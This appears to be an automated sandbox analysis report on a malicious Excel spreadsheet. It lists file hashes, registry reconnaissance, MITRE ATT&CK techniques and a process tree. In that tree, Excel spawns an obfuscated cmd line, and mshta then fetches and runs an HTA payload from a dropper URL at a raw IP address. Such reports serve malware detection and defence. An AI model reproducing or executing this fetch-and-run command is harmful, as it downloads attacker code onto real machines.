c9e12c49d8ffdd74eb48df9d9acefad2ba0e0b3e93ef4bdce5d1bd69899ca6eb

Analysis

max time kernel
46s
max time network
38s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2024 21:43

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General

Target

c9e12c49d8ffdd74eb48df9d9acefad2ba0e0b3e93ef4bdce5d1bd69899ca6eb.xls
Size

46KB
MD5

40f0ef3ef45b688195f83abc45c69d14
SHA1

5c4632726a8e979f7eedc0f5cd0b739d44004696
SHA256

c9e12c49d8ffdd74eb48df9d9acefad2ba0e0b3e93ef4bdce5d1bd69899ca6eb
SHA512

4dffc5fab50f86cf91fd8a576c49687b999d19bea1f27fb807c4ab91ec73f213a1e41c74fac31342e63d578fc2c75232dc99fd8bf5897554424d67978b4e7715
SSDEEP

768:gxFpGk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJDvzwZhGjk9DnNZQJoD88yIvuEHn:OrGk3hbdlylKsgqopeJBWhZFGkE+cL2d

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://87.251.86.178/pp/bb.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1636	2604	cmd.exe	82

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow	pid	Process
20	4756	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
2604	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	Process
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE
2604	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	Process	procid_target
PID 2604 wrote to memory of 1636	2604	EXCEL.EXE	86
PID 2604 wrote to memory of 1636	2604	EXCEL.EXE	86
PID 1636 wrote to memory of 4756	1636	cmd.exe	88
PID 1636 wrote to memory of 4756	1636	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c9e12c49d8ffdd74eb48df9d9acefad2ba0e0b3e93ef4bdce5d1bd69899ca6eb.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2604
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/bb.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\system32\mshta.exe
    mshta http://87.251.86.178/pp/bb.html
    3⤵
    - Blocklisted process makes network request
    PID:4756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
2KB

MD5
f317dc0e44884ffcd2aedc1819467461

SHA1
03b6a17a1d4a51c23dcaf4c7ad4a587598f65a8f

SHA256
522fba657d362ffdaa4f375fda3882beacf621901b03076b6a844609a40a85bc

SHA512
0d78b00eb0cd068283b6a408b8e612b79a0d0140d1aa360393549d89fc74edaeb64326cb96af569da1eb4473f06c686b0b96fb4699e3be042d0bdd58d5f4a413

Download Submit
memory/2604-0-0x00007FFB9BA90000-0x00007FFB9BAA0000-memory.dmp

Filesize
64KB

Download
memory/2604-1-0x00007FFBD8FF0000-0x00007FFBD901E000-memory.dmp

Filesize
184KB

Download
memory/2604-2-0x00007FFB9BA90000-0x00007FFB9BAA0000-memory.dmp

Filesize
64KB

Download
memory/2604-5-0x00007FFB9BA90000-0x00007FFB9BAA0000-memory.dmp

Filesize
64KB

Download
memory/2604-4-0x00007FFB9BA90000-0x00007FFB9BAA0000-memory.dmp

Filesize
64KB

Download
memory/2604-3-0x00007FFB9BA90000-0x00007FFB9BAA0000-memory.dmp

Filesize
64KB

Download
memory/2604-6-0x00007FFB998A0000-0x00007FFB998B0000-memory.dmp

Filesize
64KB

Download
memory/2604-7-0x00007FFB998A0000-0x00007FFB998B0000-memory.dmp

Filesize
64KB

Download
memory/2604-20-0x00007FFBD8FF0000-0x00007FFBD901E000-memory.dmp

Filesize
184KB

Download